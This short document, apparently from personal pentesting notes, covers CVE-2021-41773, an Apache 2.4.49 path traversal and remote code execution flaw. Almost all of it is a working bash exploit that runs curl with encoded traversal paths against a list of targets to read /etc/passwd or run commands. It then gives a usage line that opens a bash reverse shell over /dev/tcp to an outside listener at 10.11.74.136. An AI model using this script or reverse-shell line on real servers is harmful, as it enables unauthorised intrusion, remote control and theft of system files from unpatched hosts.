CVE-2021-41773

Apache remote RCE

• Use the following script:

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team
 
#!/bin/bash
 
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done
 
# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

• With the following commands (also uploaded in Reverse shells 👾):

script targets.txt /bin/bash "/bin/bash -i 5<> /dev/tcp/10.11.74.136/666 0<&5 1>&5 2>&5"

• Now you are daemon